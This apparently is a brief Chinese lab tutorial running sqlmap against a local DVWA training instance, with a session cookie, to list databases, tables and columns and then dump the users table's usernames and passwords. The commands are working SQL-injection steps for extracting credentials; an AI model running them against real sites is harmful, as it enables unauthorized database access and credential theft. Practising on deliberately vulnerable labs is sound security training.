sqlmap dvwa注入测试

 

 

带上cookie爆出数据库

sqlmap -u "https://192.168.43.203/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit# "  --cookie="security=low; PHPSESSID=6tuf1mkr1snkgcgdi0e4gaiam9 "  --dbs  

 列出当前数据库的详细信息

sqlmap -u "https://192.168.43.203/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit# "  --cookie="security=low; PHPSESSID=6tuf1mkr1snkgcgdi0e4gaiam9 "  --current-db

列出dvwa数据库的所有表

sqlmap -u "https://192.168.43.203/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit# "  --cookie="security=low; PHPSESSID=6tuf1mkr1snkgcgdi0e4gaiam9 "  -D dvwa --tables

列出dvwa数据库 users表的所有列名

sqlmap -u "https://192.168.43.203/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit# "  --cookie="security=low; PHPSESSID=6tuf1mkr1snkgcgdi0e4gaiam9 "  -D dvwa -T users --columns   

 列出 dvwa数据库 users表中字段user ，avatar的数据

sqlmap -u "https://192.168.43.203/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit# "  --cookie="security=low; PHPSESSID=6tuf1mkr1snkgcgdi0e4gaiam9 "  -D dvwa -T users -C user,avatar --dump

 

列出数据库dvwa 表users中 user （用户）和password(密码)

sqlmap -u "https://192.168.43.203/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit# "  --cookie="security=low; PHPSESSID=6tuf1mkr1snkgcgdi0e4gaiam9 "  -D dvwa -T users -C user,password --dump

接上图（截图没有截完）